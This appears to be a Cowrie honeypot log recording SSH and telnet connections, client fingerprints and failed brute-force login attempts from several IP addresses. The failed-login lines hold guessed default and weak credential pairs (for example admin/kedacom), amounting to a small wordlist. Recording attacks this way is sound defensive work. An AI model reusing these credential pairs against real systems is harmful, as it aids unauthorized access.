{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:02.812103Z","src_ip":"190.181.25.210","session":"3c59447ad705","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":45538,"dst_ip":"10.17.0.5","dst_port":22,"session":"50ddd0beb833","protocol":"ssh","message":"New connection: 98.70.48.241:45538 (10.17.0.5:22) [session: 50ddd0beb833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:05.937332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:05.942650Z","src_ip":"98.70.48.241","session":"50ddd0beb833","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:06.128485Z","src_ip":"98.70.48.241","session":"50ddd0beb833","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server3","password":"123456","message":"login attempt [server3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:06.894617Z","src_ip":"98.70.48.241","session":"50ddd0beb833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:08.084623Z","src_ip":"98.70.48.241","session":"50ddd0beb833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":52370,"dst_ip":"10.17.0.5","dst_port":22,"session":"221c136a7351","protocol":"ssh","message":"New connection: 57.128.223.80:52370 (10.17.0.5:22) [session: 221c136a7351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:09.919217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:10.071979Z","src_ip":"57.128.223.80","session":"221c136a7351","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:10.173621Z","src_ip":"57.128.223.80","session":"221c136a7351","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"kedacom","message":"login attempt [admin/kedacom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:10.631145Z","src_ip":"57.128.223.80","session":"221c136a7351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:11.742664Z","src_ip":"57.128.223.80","session":"221c136a7351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":42531,"dst_ip":"10.17.0.5","dst_port":22,"session":"f12208c7f2a7","protocol":"ssh","message":"New connection: 190.181.25.210:42531 (10.17.0.5:22) [session: f12208c7f2a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:58.313396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:58.318613Z","src_ip":"190.181.25.210","session":"f12208c7f2a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:58.440018Z","src_ip":"190.181.25.210","session":"f12208c7f2a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Qwerty1","message":"login attempt [user/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:59.292217Z","src_ip":"190.181.25.210","session":"f12208c7f2a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:27:00.417242Z","src_ip":"190.181.25.210","session":"f12208c7f2a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":41876,"dst_ip":"10.17.0.5","dst_port":23,"session":"43186ec37822","protocol":"telnet","message":"New connection: 212.55.149.117:41876 (10.17.0.5:23) [session: 43186ec37822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:27:02.292928Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":50432,"dst_ip":"10.17.0.5","dst_port":22,"session":"f91d25c3e61a","protocol":"ssh","message":"New connection: 98.70.48.241:50432 (10.17.0.5:22) [session: f91d25c3e61a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:27:06.689361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:27:06.695137Z","src_ip":"98.70.48.241","session":"f91d25c3e61a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:27:06.884968Z","src_ip":"98.70.48.241","session":"f91d25c3e61a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test000","message":"login attempt [test/test000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:27:07.671693Z","src_ip":"98.70.48.241","session":"f91d25c3e61a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:27:08.864334Z","src_ip":"98.70.48.241","session":"f91d25c3e61a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":13793,"dst_ip":"10.17.0.5","dst_port":23,"session":"10bc72636fad","protocol":"telnet","message":"New connection: 212.55.149.117:13793 (10.17.0.5:23) [session: 10bc72636fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:27:21.226253Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":50589,"dst_ip":"10.17.0.5","dst_port":22,"session":"266795383393","protocol":"ssh","message":"New connection: 190.181.25.210:50589 (10.17.0.5:22) [session: 266795383393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:27:56.096076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:27:56.100498Z","src_ip":"190.181.25.210","session":"266795383393","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:27:56.227030Z","src_ip":"190.181.25.210","session":"266795383393","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qaz123!@#","message":"login attempt [ubuntu/Qaz123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:27:56.752909Z","src_ip":"190.181.25.210","session":"266795383393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:27:57.881773Z","src_ip":"190.181.25.210","session":"266795383393","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":60980,"dst_ip":"10.17.0.5","dst_port":22,"session":"205baa4f0404","protocol":"ssh","message":"New connection: 98.70.48.241:60980 (10.17.0.5:22) [session: 205baa4f0404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:08.610820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:08.615754Z","src_ip":"98.70.48.241","session":"205baa4f0404","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:08.804524Z","src_ip":"98.70.48.241","session":"205baa4f0404","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"qwe123","message":"login attempt [guest/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:09.587264Z","src_ip":"98.70.48.241","session":"205baa4f0404","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:10.779536Z","src_ip":"98.70.48.241","session":"205baa4f0404","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.7","src_port":37820,"dst_ip":"10.17.0.5","dst_port":23,"session":"958b86742e60","protocol":"telnet","message":"New connection: 85.11.167.7:37820 (10.17.0.5:23) [session: 958b86742e60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:23.304700Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":22757,"dst_ip":"159.203.135.109","dst_port":22,"session":"565219319eb3","protocol":"ssh","message":"New connection: 2.57.121.25:22757 (159.203.135.109:22) [session: 565219319eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:51.573672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:51.578657Z","src_ip":"2.57.121.25","session":"565219319eb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:51.682699Z","src_ip":"2.57.121.25","session":"565219319eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1308","message":"login attempt [user/1308] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:52.170959Z","src_ip":"2.57.121.25","session":"565219319eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130788","message":"login attempt [user/130788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:53.278178Z","src_ip":"2.57.121.25","session":"565219319eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130784","message":"login attempt [user/130784] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:54.388264Z","src_ip":"2.57.121.25","session":"565219319eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130586","message":"login attempt [user/130586] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:55.496075Z","src_ip":"2.57.121.25","session":"565219319eb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":58643,"dst_ip":"10.17.0.5","dst_port":22,"session":"52bd743092ed","protocol":"ssh","message":"New connection: 190.181.25.210:58643 (10.17.0.5:22) [session: 52bd743092ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:56.300626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:56.306342Z","src_ip":"190.181.25.210","session":"52bd743092ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:56.426337Z","src_ip":"190.181.25.210","session":"52bd743092ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13051982","message":"login attempt [user/13051982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:56.602113Z","src_ip":"2.57.121.25","session":"565219319eb3","protocol":"ssh"}
